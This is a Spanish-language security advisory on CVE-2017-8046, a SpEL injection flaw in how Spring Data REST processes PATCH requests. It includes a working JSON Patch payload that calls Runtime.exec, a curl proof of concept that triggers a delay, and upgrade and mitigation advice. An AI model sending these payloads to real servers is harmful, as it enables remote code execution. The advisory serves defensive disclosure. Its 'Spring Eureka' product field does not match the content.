CVE-2017-8046: Vulnerabilidad de Ejecución Remota de Código mediante PATCH en Spring Data REST

ISGroup Cybersecurity

En 2017 se identificó una vulnerabilidad crítica (CVSS 9.8) en las versiones de Spring Data REST anteriores a la 2.6.9 (Ingalls SR9) y 3.0.1 (Kay SR1), y en Spring Boot en las versiones anteriores a la 1.5.9 y 2.0 M6. Este fallo permite a atacantes remotos ejecutar código arbitrario en el servidor mediante solicitudes PATCH especialmente diseñadas. Aunque la vulnerabilidad fue reconocida y corregida por el equipo de Spring, no se han reportado casos generalizados de explotación activa por el momento, probablemente debido a la especificidad del ataque, que requiere que el procesamiento de parches JSON esté habilitado y expuesto.

ProductoSpring Eureka
Fecha2025-06-02 10:53:23
Información
  • Tendencia
  • Corrección disponible

Resumen técnico

La vulnerabilidad deriva de la deserialización insegura y el manejo peligroso de expresiones en la forma en que Spring Data REST procesa las solicitudes PATCH con el tipo de contenido application/json-patch+json.

Los atacantes pueden construir una operación JSON Patch utilizando el lenguaje de expresiones de Spring (SpEL), como en el siguiente ejemplo:

[
  {
    "op": "replace",
    "path": "T(java.lang.Runtime).getRuntime().exec(\"<command>\").x",
    "value": "pwned"
  }
]

Esto permite ejecutar código Java arbitrario (por ejemplo, lanzar comandos del sistema o exfiltrar datos). La expresión es interpretada por el motor SpEL del framework Spring debido a la falta de validación de entrada en el manejo de las solicitudes PATCH.

Ejemplo de explotación mediante curl:

curl --request PATCH \
  -H "Content-Type: application/json-patch+json" \
  -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' \
  http://localhost:8080/entity/1

Esto retrasaría la respuesta 10 segundos, demostrando la ejecución del código.

Payloads más complejos pueden extraer la salida del comando o establecer reverse shells mediante la ejecución de comandos en tiempo de ejecución.

Recomendaciones

  1. Actualizar inmediatamente:

    • Actualizar Spring Data REST a la versión 2.6.9 o superior (Ingalls SR9) o 3.0.1 o superior (Kay SR1).
    • Actualizar Spring Boot a la versión 1.5.9 o superior o 2.0 M6 o superior.
  2. Deshabilitar el soporte PATCH JSON si no es necesario:

    • JSON Patch no suele ser necesario en la mayoría de las API REST. Si no se utiliza, desactive el soporte para application/json-patch+json.
  3. Filtrar y sanitizar la entrada:

    • Aplique una validación rigurosa de las solicitudes para evitar que se interpreten expresiones maliciosas.

[Callforaction-THREAT-Footer]